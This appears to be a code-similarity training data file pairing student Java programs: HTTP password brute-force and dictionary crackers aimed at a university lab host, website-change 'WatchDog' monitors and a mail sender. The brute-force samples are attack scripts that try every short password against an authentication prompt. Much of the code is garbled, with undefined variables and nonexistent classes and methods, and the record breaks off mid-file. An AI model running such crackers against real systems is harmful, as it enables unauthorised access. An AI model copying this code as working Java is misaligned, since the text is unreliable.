- "\n\nimport java.awt.*;\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport java.*;\n\n \npublic class BruteForce \n{\n public final char [ ] letter = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', \n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', \n 'w', 'x', 'y', 'z'};\t\t\t \n\n\n public static void main(String args[]) throws Exception\n {\n \n String urlPath = null;\n \n if(args.length > 0)\n {\n urlPath = args[0];\n System.out.println(\"URL \" + urlPath);\n BruteForce bForce = new BruteForce(urlPath); \n }\n else{\n System.out.println(\"Please enter URL at command prompt\");\n System.out.println(\"eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/\");\n }\n\n System.exit(0);\n\n }\n\n \n public BruteForce(String urlPath) throws Exception\n {\n linkToWeb(urlPath);\n\n }\n\n public boolean linkToWeb(String urlPath) throws Exception\n {\n HttpURLConnection connection;\n int i, j, k; \n URL = new URL(urlPath);\n String let1 = null;\n String let2 = null;\n String let3 = null;\n String usrName = \"\";\n String usrNamePwd = null;\n String encoding = null;\n boolean ok = false;\n\n connection = (HttpURLConnection).openConnection(); \n\n \n\n for(i=0; i<String.valueOf(letter).length(); i++) {\n let1 = String.valueOf(letter[i]);\t\t\n\n usrNamePwd = usrName +\":\"+ let1;\n encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());\n connection.setRequestProperty(\"Authorization\", \" \" + encoding);\n\n System.out.println(let1);\n if(connection.getResponseCode() == 200){\n System.out.println(\"Password Found \" +let1); \n return true;\n }\n connection.disconnect();\n\n for(j=0; j<String.valueOf(letter).length(); j++) {\n let2 = let1 + letter[j];\t\t\n\n usrNamePwd = usrName +\":\"+ let2;\n encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());\n\n connection = (HttpURLConnection).openConnection();\n connection.setRequestProperty(\"Authorization\", \" \" + encoding);\n\n if(connection.getResponseCode() == 200){\n System.out.println(\"Password Found \" +let2);\n return true;\n }\n connection.disconnect();\n\n System.out.println(let2);\n\n for(k=0; k<String.valueOf(letter).length(); k++) {\n let3 = let2 + letter[k]; \n \n usrNamePwd = usrName +\":\"+ let3;\n encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());\n \n connection = (HttpURLConnection).openConnection();\n connection.setRequestProperty(\"Authorization\", \" \" + encoding);\n\n if(connection.getResponseCode() == 200){\n System.out.println(\"Password Found \" +let3);\n return true;\n }\n \n connection.disconnect();\n System.out.println(let3);\n \n }\n }\n\n }\n\n System.out.println(\"Password not found\" );\n return false;\n\n }\n\n\n\n public class Base64Converter\n {\n\n public final char [ ] alphabet = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', \n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', \n 'w', 'x', 'y', 'z', '0', '1', '2', '3', \n '4', '5', '6', '7', '8', '9', '+', '/' }; \n\n public String encode ( String s )\n {\n return encode ( s.getBytes ( ) );\n }\n\n public String encode ( byte [ ] octetString )\n {\n int bits24;\n int bits6;\n\n char [ ] out\n = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n\n int outIndex = 0;\n int i = 0;\n\n while ( ( i + 3 ) <= octetString.length )\n {\n \n bits24 = ( octetString [ i++ ] & 0xFF ) << 16; \n bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; \n bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18; \n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12; \n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6; \n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n out [ outIndex++ ] = alphabet [ bits6 ]; \n }\n\n if ( octetString.length - i == 2 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF ) << 16; \n bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ]; \n bits6 = ( bits24 & 0x0003F000 ) >> 12; \n out [ outIndex++ ] = alphabet [ bits6 ]; \n bits6 = ( bits24 & 0x00000FC0 ) >> 6; \n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out [ outIndex++ ] = '='; \n }\n else if ( octetString.length - i == 1 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12; \n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out [ outIndex++ ] = '='; \n out [ outIndex++ ] = '='; \n }\n\n return new String ( out );\n }\n\n }\n \n}\n\n"
- source_sentence: "\n\n\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\nimport javax.sql.DataSource;\n\n\n\npublic class DictionaryPropertyHelper {\n\n\tprivate static Properties dictProps;\n\n\n\n\tpublic DictionaryPropertyHelper() {\n\t}\n\n\n\t\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"Error init'ing the dictionary Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn dictProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps() throws Exception{\n\t\tif(dictProps == null){\n\t\t\tdictProps = new Properties();\n\n\t\t\tInputStream fis =\n\t\t\t\tDictionaryPropertyHelper.class.getResourceAsStream(\"/dictionary.properties\");\n\t\t\tdictProps.load(fis);\n\t\t}\n\t}\n}\n\n"
sentences:
- |
import java.net.*;
import java.io.*;
import java.String;
import java.*;
import java.util.*;
public class BruteForce {
private static final int passwdLength = 3;
private static String commandLine
= "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
private int charLen = chars.length();
private int n = 0;
private int n3 = charLen*charLen*charLen;
private String response;
private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];
private char[][] data = new char[passwdLength][charLen];
private char[] pwdChar2 = new char[2];
private char[] pwdChar = new char[passwdLength];
private String url;
private int startTime;
private int endTime;
private int totalTime;
private float averageTime;
private boolean finish;
private Process curl;
private BufferedReader bf, responseLine;
public BruteForce() {
first();
finish = true;
charLen = chars.length();
for(int i=0; i<charLen; i++)
for(int j=0; j<passwdLength; j++)
{
data[j][i] = chars.charAt(i);
}
Runtime run = Runtime.getRuntime();
n = 0;
for(int i=0; i<charLen; i++)
{
password[n++] = chars.substring(i,i+1);
}
for(int j=0; j<charLen; j++)
for(int k=0; k<charLen; k++)
{
pwdChar2[0] = data[0][j];
pwdChar2[1] = data[1][k];
password[n++] = String.copyValueOf(pwdChar2);
}
for(int i=0; i<charLen; i++)
for(int j=0; j<charLen; j++)
for(int k=0; k<charLen; k++)
{
pwdChar[0] = data[0][i];
pwdChar[1] = data[1][j];
pwdChar[2] = data[2][k];
password[n++] = String.copyValueOf(pwdChar);
}
n = 0;
startTime = new Date().getTime();
try {
while(true) {
url = commandLine+password[n++];
if(n>=n3) {
System.out.println("\n not find the password for user .");
finish = false;
break;
}
curl = run.exec(url);
responseLine = new BufferedReader(new InputStreamReader(curl.getInputStream()));
response = responseLine.readLine();
if(response.substring(9,12).equals("200")) break;
responseLine = null;
}
}
catch(IOException ioe){
System.out.println("\n IO Exception! \n");
System.out.println("The current url is:"+ url);
System.out.println("The current trying password is:"+password[n-1]);
finish=false;
}
endTime = new Date().getTime();
totalTime = (endTime-startTime)/1000;
System.out.println(" The response time is:"+ totalTime + " seconds\n");
if(finish) {
System.out.println(" The password for is:"+ password[n-1]);
try {
savePassword(password[n-1], totalTime);
}
catch (IOException ioec) {
System.out.println(" not save the password file BruteForce_pwd.txt ");
}
}
}
public void first() {
System.out.println("\n\n---------------------------------------------------------------");
System.out.println(" Use curl command Brute Force the password for user .");
System.out.println(" Attention: curl should able run at your directory");
System.out.println(" without setting the Path for it.");
System.out.println("---------------------------------------------------------------");
}
public void savePassword(String passwdString, int time) throws IOException {
DataOutputStream outputStream = new DataOutputStream(new FileOutputStream("BruteForce_pwd.txt"));
outputStream.writeChars("The password is:");
outputStream.writeChars(passwdString+"\n");
outputStream.writeChars("The response time is: ");
outputStream.writeChars(time1.toString(time));
outputStream.writeChars(" seconds\n");
outputStream.close();
}
public static void main(String[] args) {
new BruteForce();
}
}
- "import java.io.*;\nimport java.util.*;\nimport java.text.*;\n\n\npublic class Dictionary \n{\n\n \n \n \n private int verbose = 0;\n private int scanType = CrackingConstants.casedScan;\n private boolean leftThreeCharsOnly = false;\n private boolean fullScan = false;\n\n \n \n \n \n \n \n \n \n private int passwordsTried = 0;\n private int uniqueLetterSequencesTried = 0;\n\t\n\t\n\tpublic static void main (String args[])\n\t{\n\t\tint tIni;\n\t\tint tFinish;\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n\t Dictionary pwForcer = new Dictionary();\n\t \n\t if(0 < args.length)\n\t {\n\t for(int i = 0; i < args.length; i++)\n\t {\n \t\tif((args[i].indexOf(\"-h\") > -1) || (args[i].indexOf(\"-H\") > -1))\n \t\t {\n \t\t\tSystem.out.println(\"\\n-f -F\\tgenerates the three leftmost characters of the passwords as in -t/T \\nbut also appends the rest of the string ( duplicate checking is with this option).\");\n \t\t\tSystem.out.println(\"\\n-s -S\\tonly tests lower passwords.\");\n \t\t\tSystem.out.println(\"\\n-t -T\\tonly the three leftmost characters of the passwords.\");\n \t\t\tSystem.out.println(\"\\n-v -V\\tprints the passwords as tried.\\n\");\n \t\t\treturn;\n \t\t }\t\n \t\telse if((args[i].indexOf(\"-s\") > -1) || (args[i].indexOf(\"-S\") > -1))\n \t\t pwForcer.scanType = CrackingConstants.simpleScan;\n \t\telse if((args[i].indexOf(\"-v\") > -1) || (args[i].indexOf(\"-V\") > -1)) \n \t\t pwForcer.verbose = CrackingConstants.verboseMode2;\n \t\telse if((args[i].indexOf(\"-t\") > -1) || (args[i].indexOf(\"-T\") > -1))\n \t\t pwForcer.leftThreeCharsOnly = true;\n \t\telse if((args[i].indexOf(\"-f\") > -1) || (args[i].indexOf(\"-F\") > -1))\n \t\t pwForcer.fullScan = true;\n\t\t }\n\t }\n\t \n\t \n\t if (pwForcer.fullScan) \n\t \tpwForcer.leftThreeCharsOnly = false;\n\t \n \n\t System.out.println(\"\\n\\n********************************\\n\");\n\t\tSystem.out.println(\"Starting dictionary run at \" + \n\t\t longTimestamp.format(new Date()));\n\t\tif(0 < args.length)\n\t\t{\n\t\t\tString arguments = \"\";\n\t\t\tfor( i =0; i < args.length; i++)\n\t\t\t\targuments += args[i] + \" \";\n\t\t\tSystem.out.println(\"\\nOptions: \" + arguments + \"\\n\");\n\t\t}\n\t if (pwForcer.leftThreeCharsOnly)\n \t System.out.println(\"Only the first three letters of each password tried.\");\n\t\tif(pwForcer.scanType == CrackingConstants.simpleScan)\n \t System.out.println(\"Only lower passwords tried.\");\n \telse\n \t System.out.println(\"Both lower and upper passwords tried.\");\n\t System.out.println(\"\\n********************************\\n\");\n\n\t tIni = System.currentTimeMillis();\n\t pwForcer.run();\n\t tFinish = System.currentTimeMillis();\n\t \n if (CrackingConstants.casedScan == pwForcer.scanType)\n {\n\t \n \t \n\t \n\t \n\t System.out.println (\"\\n\\n\" + pwForcer.passwordsTried + \" capitalized passwords were tried.\");\n\t System.out.println (\"That is \" + pwForcer.uniqueLetterSequencesTried + \" unique passwords were tried.\");\n\t \n\t \n }\n else\n {\n \t System.out.println (\"\\n\\n\" + pwForcer.passwordsTried + \" passwords were tried.\\n\");\n \t \n\t System.out.println (pwForcer.uniqueLetterSequencesTried + \" unique passwords were tried.\");\n }\n \n\t \n\t System.out.println(\"\\n********************************\\n\");\n\t\tSystem.out.println(\"Finished dictionary run at \" + \n\t\t longTimestamp.format(new Date()));\n\t\tSystem.out.println(\"Time taken: \" + ((tFinish - tIni )/1000) + \" seconds\");\n\t System.out.println(\"\\n********************************\");\n\t} \n\n\t\n public Dictionary()\n {\n } \n\n\t\n private void run()\n {\n \n \n String fileName = \"/usr/share/lib/dict/words\";\n \n LoginAttemptResults results = new LoginAttemptResults();\n LoginAttempt login = new LoginAttempt();\n \n CasePasswords casedPasswords = new CasePasswords(verbose);\n \n \n try\n {\n boolean found = false;\n \n int lineCount = 0;\n \n String password = null;\n String lastPassword = \"\"; \n BufferedReader in = new BufferedReader(new FileReader(fileName));\n \n while((null != (password = in.readLine())) && (!found))\n {\n \n lineCount++;\n \n\t\t password = password.trim();\n \t \n \t if(\"\" != password)\n \t { \n \t if (leftThreeCharsOnly)\n \t {\n leftIndex = -1;\n midIndex = -1;\n rightIndex = -1;\n String tail = \"\";\n \n \n \n if(3 <= password.length())\n {\n if (!fullScan)\n \t \n\t \t \n \t \n\t \t if(lastPassword.equals(password.substring(0, 3).toLowerCase()))\n \t continue;\n \t else\n \t lastPassword = password.substring(0, 3).toLowerCase();\n \t char [] passwordChars = password.toCharArray();\n leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length);\n midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length);\n rightIndex = CrackingConstants.findIndex(passwordChars[2], 0, CrackingConstants.lowerChars.length);\n \n \n \n\t if ((3 < password.length() ) && (fullScan))\n\t \ttail = password.substring(0, 3);\n }\n else if(2 == password.length())\n {\n if (!fullScan)\n\t \n\t if(lastPassword.equals(password.substring(0, 2).toLowerCase()))\n \t continue;\n \t else\n \t lastPassword = password.substring(0, 2).toLowerCase();\n char [] passwordChars = password.toCharArray();\n leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length);\n midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length);\n }\n else if(1 == password.length())\n {\n if (!fullScan)\n\t \n \t if(lastPassword.equals(password.substring(0, 1).toLowerCase()))\n \t continue;\n \t else\n \t lastPassword = password.substring(0, 1).toLowerCase();\n char [] passwordChars = password.toCharArray();\n leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length);\n }\n else\n {\n System.out.println(\"Empty password from word file.\");\n continue;\n }\n \n \n if((CrackingConstants.notFound != rightIndex) && ((CrackingConstants.notFound == leftIndex) || (CrackingConstants.notFound == midIndex)))\n continue;\n if((CrackingConstants.notFound != midIndex) && (CrackingConstants.notFound == leftIndex))\n continue;\n \t\n \tresults = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried);\n found = results.getSuccess();\n passwordsTried = results.getPasswordsTried();\n uniqueLetterSequencesTried++;\n \t }\n \t else\n \t {\n results = login.tryPasswords(casedPasswords.createCasedPasswords(password, scanType), passwordsTried);\n found = results.getSuccess();\n passwordsTried = results.getPasswordsTried();\n uniqueLetterSequencesTried++;\n } \n } \n } \n in.print();\n \n \n \n \n }\n catch(FileNotFoundException e)\n {\n System.out.println(\"File \" + fileName + \" was not found was unopenable.\");\n }\n catch(IOException e)\n {\n System.out.println(\"Error \" + e);\n }\n } \n \n \n} \n"
- |
import java.io.*;
import java.util.*;
import java.*;
import java.net.*;
public class WatchDog
{
static Process p = null;
static Process qproc = null;
static BufferedReader bf = null;
static StringTokenizer tok = null;
static String Path = null;
static String str = null;
static String urlStr=null;
static boolean changed = false;
static File indexfile = new File("index.html");
static File tmpfile = new File("tmpindex.html");
static File mdfile = new File("md5file.txt");
static File tmpmdfile = new File("tmpmd5file.txt");
static PrintWriter mailwriter = null;
public static void main (String[] args)
{
urlStr = "http://www.cs.rmit.edu./";
try
{
mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));
getLatest(urlStr);
parseFile();
mailwriter.read();
if(changed)
{
System.out.println("Sending Mail");
p = Runtime.getRuntime().exec("./mailscript");
p.waitFor();
}
else
System.out.println(" mail sent");
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
}
static void getLatest(String urlStr)
{
URL url = null;
try
{
url = new URL(urlStr);
} catch (MalformedURLException mfurl)
{
System.out.println("Malformed URL");
mfurl.printStackTrace();
}
try
{
mailwriter.println();
p = Runtime.getRuntime().exec("/usr//pwd");
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
Path=bf.readLine();
if (indexfile.exists())
{
mailwriter.println("File with name 'index.html' found in directory.");
mailwriter.println("Renaming existing 'index.html' 'tmpindex.html...");
p = Runtime.getRuntime().exec("/usr//mv "+indexfile+ " " + Path+"/"+tmpfile);
p.waitFor();
p = Runtime.getRuntime().exec("/usr//mv "+mdfile+ " " + Path+"/"+tmpmdfile);
mailwriter.println();
mailwriter.println("File with name 'md5file.txt' found in directory.");
mailwriter.print("Renaming existing 'md5file.txt' 'tmpmd5file.txt...");
mailwriter.println(".");
mailwriter.println();
}
mailwriter.println("Downloading current version of site - " + urlStr);
p = Runtime.getRuntime().exec("/usr/local//wget "+url);
p.waitFor();
if (!tmpfile.exists())
{
mailwriter.println("File - " + urlStr + "index.html saved disk for the first time.");
}
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (IndexOutOfBoundsException iobe)
{
System.out.println("Index Out Of Bounds Exception");
iobe.printStackTrace();
}
catch (Exception e)
{
System.out.println("Exception");
e.printStackTrace();
}
}
static void parseFile()
{
Vector imgVect = new Vector();
try
{
p = Runtime.getRuntime().exec("/usr//grep img " + Path + "/"+ indexfile);
p.waitFor();
bf = new BufferedReader(new InputStreamReader(
p.getInputStream()));
while((str=bf.readLine())!=null)
{
bf = new StringTokenizer(str, "\"", false);
while(bf.hasMoreTokens())
{
str=bf.nextToken();
if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
imgVect.addElement(str);
}
}
}catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (Exception e)
{
System.out.println("Exception");
e.printStackTrace();
}
mailwriter.println("Creating file with md5sums of the webpage and images...");
md5Create(imgVect);
}
static void md5Create(Vector imgVect)
{
String tmpString = null;
Vector imgNames = new Vector();
try
{
PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
p=Runtime.getRuntime().exec("/usr/local//md5sum "+indexfile);
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
pr.println(bf.readLine());
for(int i=0; i<imgVect.size();i++)
{
imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);
p=Runtime.getRuntime().exec("/usr/local//md5sum "+(String)imgNames.elementAt(i));
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
pr.println(bf.readLine());
rmImgFile(Path+"/"+(String)imgNames.elementAt(i));
}
pr.get();
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
if (tmpmdfile.exists())
compVersions((imgVect.size())+1);
}
static void compVersions(int numlines)
{
int tmp = 0;
int x = 0;
String[] md5A = new String[numlines];
Vector tmpmd5V = new Vector();
String[] tmpmd5A = null;
StringTokenizer stoken = null;
String mdImgName = null;
String mdImgVal = null;
String tmpImgName = null;
String tmpImgVal = null;
try
{
bf = new BufferedReader(new FileReader(mdfile));
while((str = bf.readLine()) != null)
{
md5A[tmp]=str;
tmp++;
}
bf = new BufferedReader(new FileReader(tmpmdfile));
tmp=0;
while ((str = bf.readLine()) !=null)
{
tmpmd5V.addElement(str);
tmp++;
}
tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);
if (tmpmd5A[0].compareTo(md5A[0]) != 0)
{
mailwriter.println("---The file index.html has changed.---");
mailwriter.println("-Diff of old and new -");
changed=true;
mailwriter.println();
p=Runtime.getRuntime().exec("/usr/local//diff index.html tmpindex.html");
p.waitFor();
bf= new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((str = bf.readLine()) != null)
mailwriter.println(str);
}
else
{
mailwriter.println("The file index.html hasn't changed.");
mailwriter.println();
}
mailwriter.println();
mailwriter.println("Changes Images");
mailwriter.println("-----------------");
for (tmp=1; tmp<md5A.length; tmp++)
{
stoken = new StringTokenizer(md5A[tmp]);
mdImgVal = stoken.nextToken();
mdImgName = stoken.nextToken();
for (x=1; x<tmpmd5A.length; x++)
{
stoken = new StringTokenizer(tmpmd5A[x]);
tmpImgVal = stoken.nextToken();
tmpImgName = stoken.nextToken();
if (mdImgName.compareTo(tmpImgName) == 0)
{
if(mdImgVal.compareTo(tmpImgVal) == 0)
{
break;
}
else
{
mailwriter.println("The image "+mdImgName+" has changed.");
changed=true;
break;
}
}
if (x == ((tmpmd5A.length)-1))
{
mailwriter.println("The image "+mdImgName+" is new this ");
changed=true;
}
}
}
for (tmp=1; tmp<tmpmd5A.length; tmp++)
{
stoken = new StringTokenizer(tmpmd5A[tmp]);
tmpImgVal = stoken.nextToken();
tmpImgName = stoken.nextToken();
for (x=1; x<md5A.length; x++)
{
stoken = new StringTokenizer(md5A[x]);
mdImgVal = stoken.nextToken();
mdImgName = stoken.nextToken();
if (tmpImgName.compareTo(mdImgName) == 0)
{
break;
}
if (x == ((md5A.length)-1))
{
mailwriter.println("The image "+tmpImgName+" is longer the ");
changed=true;
}
}
}
} catch(IOException ioe)
{System.out.println("IOException");
ioe.printStackTrace();
}
catch(InterruptedException iex)
{System.out.println("Interrupted Exception");
iex.printStackTrace();
}
}
static Object getFullPath(String fname)
{
if(fname.charAt(0)== '/')
fname=urlStr+fname;
else if(fname.charAt(0) != 'h')
fname=urlStr+'/'+fname;
getImgFile(fname);
return (Object)fname;
}
static void getImgFile(String fullPath)
{
try
{
qproc=Runtime.getRuntime().exec("/usr/local//wget "+fullPath);
qproc.waitFor();
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
}
static void rmImgFile(String delpath)
{
try
{
qproc=Runtime.getRuntime().exec("/usr//rm "+ delpath);
qproc.waitFor();
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
}
static Object getImgNames(String prsName)
{
String str = new StringTokenizer(prsName, "/", false);
while(str.hasMoreTokens())
{
str=bgf.nextToken();
if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
prsName=str;
}
return (Object)prsName;
}
}
- source_sentence: "\nimport java.util.*;\n\npublic class WatchDog\n{\n private Timer t;\n\n public WatchDog()\n {\n t = new Timer();\n TimerTask task = new TimerTask()\n {\n public void run()\n\t {\n\t Dog doggy = new Dog();\n\t }\n };\n \n t.schedule(task, 0, 86400000);\n }\n public static void main( String[] args)\n {\n WatchDog wd = new WatchDog();\n }\n}\n"
sentences:
- "import\tjava.io.*;\n\nclass WatchDog {\n public static void main(String args[]) {\n \n\t if (args.length<1)\n\t {\n System.out.println(\"Correct Format Filename email address <[email protected].> of the recordkeeper\"); \n System.exit(1);\t\n\t }\n\n\twhile (true)\n\t\t{\n\t\t\n\t\t\n FileInputStream stream=null;\n DataInputStream word=null;\n String input=\" \"; \n\n\n\ttry {\n\n\n String ls_str;\n \n \t \n\t Process ls_proc = Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students\");\n \t\ttry {\n\t\tThread.sleep(2000);\n\t\t}catch (Exception e) {\n System.err.println(\"Caught ThreadException: \" +e.getMessage());\n\t }\n\n\t\tString[] cmd = {\"//sh\",\"-c\", \"diff Index2.html index.html >report.txt \"};\n\n\t ls_proc = Runtime.getRuntime().exec(cmd);\n\t\t \n\t\t\t\n\t\t\ttry {\n\t\tThread.sleep(2000);\n\t\t}catch (Exception e) {\n System.err.println(\"Caught ThreadException: \" +e.getMessage());\n\t }\n\t\t\n\t\t\n\t\t\n\t\tif (ls_proc.exitValue()==2) \n\t\t{\n\t\t \t System.out.println(\"The file was checked for first time, email sent\");\n\n Process move = Runtime.getRuntime().exec(\"mv index.html Index2.html\");\n\t\t \n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t\tstream = new FileInputStream (\"report.txt\"); \n\t\t\t\tword =new DataInputStream(stream);\n\n\n\t\t\t\tif (word.available() !=0)\n\t\t\t\t{\n\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\n\t\t\t\t\tString[] cmd1 = {\"//sh\",\"-c\",\"diff Index2.html index.html | mail \"+args[0]};\n\t\t\t\t\t Process proc = Runtime.getRuntime().exec(cmd1);\n\t\t\t\t\t Thread.sleep(2000);\n\t\t\t\t\tProcess move = Runtime.getRuntime().exec(\"mv index.html Index2.html\");\n\t\t\t\t\tThread.sleep(2000);\n\t\t\t\t\tSystem.out.println(\"Difference Found , Email Sent\");\n\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception e1) {\n\t\t\t\t\t\t\tSystem.err.println(e1);\n\t\t\t\t\t\t\tSystem.exit(1);\n\t\t\t\t\t\t\n\t\t\t\t\t \n\t\t\t\t\t\t}\n\t\t\t\t\t \n\t \n\t \n\t\t\t\t }\n\t\t\t\t else\n\t\t\t\t\t{\n\t\t\t\t\t\t System.out.println(\" Differnce Detected\");\n\n\n\t\t\t\t\t}\n\t\t}\n\t}\n\t\n\n\t catch (IOException e1) {\n\t System.err.println(e1);\n\t System.exit(1);\n\t\n \n\t}\ntry\n{\nword.close();\nstream.close(); \n\t\n}\n \ncatch (IOException e)\n{ \nSystem.out.println(\"Error in closing input file:\\n\" + e.toString()); \n} \n \t\ntry {\nThread.sleep(20000); \n }\ncatch (Exception e) \n\t{\nSystem.err.println(\"Caught ThreadException: \" +e.getMessage());\n\t}\n\t\t\n\n } \n\n\t} \n\t\n }"
- "\n\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\nimport javax.sql.DataSource;\n\n\n\n\npublic class BruteForcePropertyHelper {\n\n\tprivate static Properties bruteForceProps;\n\n\n\n\tpublic BruteForcePropertyHelper() {\n\t}\n\n\n\t\n\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"Error init'ing the burteforce Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn bruteForceProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps() throws Exception{\n\t\tif(bruteForceProps == null){\n\t\t\tbruteForceProps = new Properties();\n\n\t\t\tInputStream fis =\n\t\t\t\tBruteForcePropertyHelper.class.getResourceAsStream(\"/bruteforce.properties\");\n\t\t\tbruteForceProps.load(fis);\n\t\t}\n\t}\n}\n\n"
- "import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(\"smtpServer\");\n static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(\"recipient\");\n static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(\"sender\");\n static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(\"messageHeader\");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = \"Testing\";\n\n\t\t\tSystem.out.println(\"Started sending the message\");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t\"Usage: java mailsend\"\n\t\t\t\t\t+ \" smtpServer toAddress fromAddress subjectText bodyText\");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put(\"mail.smtp.host\", smtpServer);\n\t\t\tprops.put(\"mail.smtp.timeout\", \"20000\");\n\t\t\tprops.put(\"mail.smtp.connectiontimeout\", 